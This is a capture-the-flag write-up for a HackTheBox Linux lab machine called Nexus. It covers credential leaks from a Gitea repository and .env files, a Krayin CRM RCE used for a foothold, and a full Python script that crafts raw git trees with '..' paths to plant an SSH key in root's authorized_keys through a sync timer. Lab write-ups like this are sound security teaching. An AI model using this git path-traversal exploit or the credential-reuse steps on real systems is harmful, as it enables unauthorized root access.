hackthebox / easy / linux

Nexus

Platform
HackTheBox
Difficulty
OS

Summary

Nexus is an easy Linux box built entirely on credential leaks and an unsanitized sync script. A public Gitea repo leaks a .env whose password unlocks a Krayin CRM login, which is then popped with CVE-2026-38526 for a shell as www-data. A second, different database password in the app's own .env is reused by the jones system user. That account controls a Gitea template-sync timer that copies git ls-tree output through os.path.join() unsanitized - so a crafted repo with ../ tree paths plants our SSH key in /root/.ssh/authorized_keys, and we log in as root.

Skills Required

  • Subdomain enumeration and vhost fuzzing
  • Reading git commit history for leaked secrets
  • Reusing credentials across accounts/services

Skills Learned

  • Exploiting a Krayin CRM RCE (CVE-2026-38526)
  • Writing raw git objects to bypass path checks and sneak .. into trees
  • Abusing an unsanitized os.path.join() in a sync script for path traversal
  • Using the Host extraheader trick for vhost-matching git remotes

Enumeration

The scan shows SSH and an nginx site that redirects to nexus.htb.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/

Vhost fuzzing finds two more hosts.

ffuf -u http://nexus.htb -H 'Host: FUZZ.nexus.htb' ...

git     [Status: 200, Size: 14474]
billing [Status: 302, Size: 390]

On the main site an email for the hiring manager is visible:

j.matthew@nexus.htb

Add both hosts to /etc/hosts and dig in.

Foothold

Gitea leak → Krayin CRM

git.nexus.htb runs Gitea and hosts a repository containing a .env for the billing app. Scanning the commits turns up a password that was committed then mostly scrubbed:

DB_PASSWORD=N27xh!!2ucY04

billing.nexus.htb is a Krayin CRM. The leaked password works for the email harvested from the main site (j.matthew@nexus.htb) - Krayin accepts it as a password login.

Krayin RCE - CVE-2026-38526

Krayin CRM has an authenticated RCE via Krayin hashing - the PoC ships an exploit.py.

python exploit.py ...
# shell as www-data

The other DB password

Inside the box, /var/www/krayin/.env holds a different database password than the one from Gitea. Easy to skim past - don't.

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

The users table only has a bcrypt hash for james that won't crack, and the password doesn't work for that login. But the box has two home directories:

ls /home
git  jones

The password works for the jones system user instead:

ssh jones@nexus.htb

Privilege Escalation

The template-sync timer

Checking timers reveals a root-ish automation:

systemctl list-timers
gitea-template-sync.timer   gitea-template-sync.service

Reading /etc/gitea/template-sync.py: it clones every repo flagged as a template and syncs its contents to /home/git/template-staging/<owner>/<repo>/. The flaw: it builds paths from git ls-tree output with os.path.join() and no traversal sanitization. If we get a repo with ../ in tree paths to be synced, the copy target escapes the staging dir.

Writing raw git objects

Git's own verify_path() refuses to create files with .. in the path, so a normal checkout can't do this. Instead we write raw objects straight into .git/objects/, building trees whose paths walk ../../../../root/.ssh/ and land an authorized_keys.

Generate a key and craft the repo with a builder script:

ssh-keygen -t ed25519 -f /tmp/.k -N ''
#!/usr/bin/env python3
import hashlib,zlib,os,subprocess,sys,time

def write_obj(data,t):
    h=("%s %d"%(t,len(data))).encode()+b"\x00"
    s=h+data
    sha=hashlib.sha1(s).hexdigest()
    d=os.path.join(".git","objects",sha[:2])
    os.makedirs(d,exist_ok=True)
    p=os.path.join(d,sha[2:])
    if not os.path.exists(p):
        open(p,"wb").write(zlib.compress(s))
    return sha

def entry(mode,name,sha):
    return("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)

if not os.path.isdir(".git"):
    print("Run inside git repo");sys.exit(1)

r=subprocess.run(["cat","/tmp/.k.pub"],capture_output=True,text=True)
if r.returncode!=0:
    print("ssh-keygen -t ed25519 -f /tmp/.k -N ''");sys.exit(1)
key=r.stdout.strip()+"\n"

blob=write_obj(key.encode(),"blob")
readme=write_obj(b"# Template\n","blob")
ssh_t=write_obj(entry("100644","authorized_keys",blob),"tree")
cur=write_obj(entry("40000",".ssh",ssh_t),"tree")
fir=write_obj(entry("40000","root",cur),"tree")
for i in range(4):
    fir=write_obj(entry("40000","..",fir),"tree")
root=write_obj(entry("100644","README.md",readme)+entry("40000","..",fir),"tree")
ts=int(time.time())
c="tree %s\nauthor x  %d +0000\ncommitter x  %d +0000\n\ninit\n"%(root,ts,ts)
sha=write_obj(c.encode(),"commit")
os.makedirs(os.path.join(".git","refs","heads"),exist_ok=True)
open(os.path.join(".git","refs","heads","main"),"w").write(sha+"\n")
print("Done: "+sha)

Host trick for the vhost

The repo needs to exist under jones, but git.nexus.htb wouldn't resolve on our box. Point git at the IP while presenting the right Host header - nginx/Gitea match on the vhost, and basic auth rides in the Authorization header, so both work. To avoid repeating the flag every time, set it once:

git config http."http://10.129.234.54".extraheader "Host: git.nexus.htb"
git remote set-url origin http://jones:'y27xb3ha!!74GbR'@10.129.234.54/jones/rce.git
git push -u origin main --force

Build the malicious objects and push (force, since we write our own main ref):

python3 /tmp/builder.py
Done: 22f71915ed1a8521b0c55359e846ab9545655cc5

git push -u origin main --force

Root shell

Once the timer syncs the malicious tree, our key lands in /root/.ssh/authorized_keys.

ssh -i /tmp/.k root@nexus.htb

Key Takeaways

  • Every .env is different - the DB password from Gitea and the one on disk were distinct; one opened the CRM, the other the machine.
  • Passwords get reused as system passwords too - try leaked DB creds against local users when the web login rejects them.
  • Unsanitized os.path.join() is path traversal - any script copying git tree paths without validation is a root shell waiting to happen.
  • Git object hashing bypasses verify_path() - writing trees by hand with .. components defeats the client-side checks.
  • Vhost reachability ≠ DNS - the Host extraheader lets git talk to the IP while satisfying the vhost.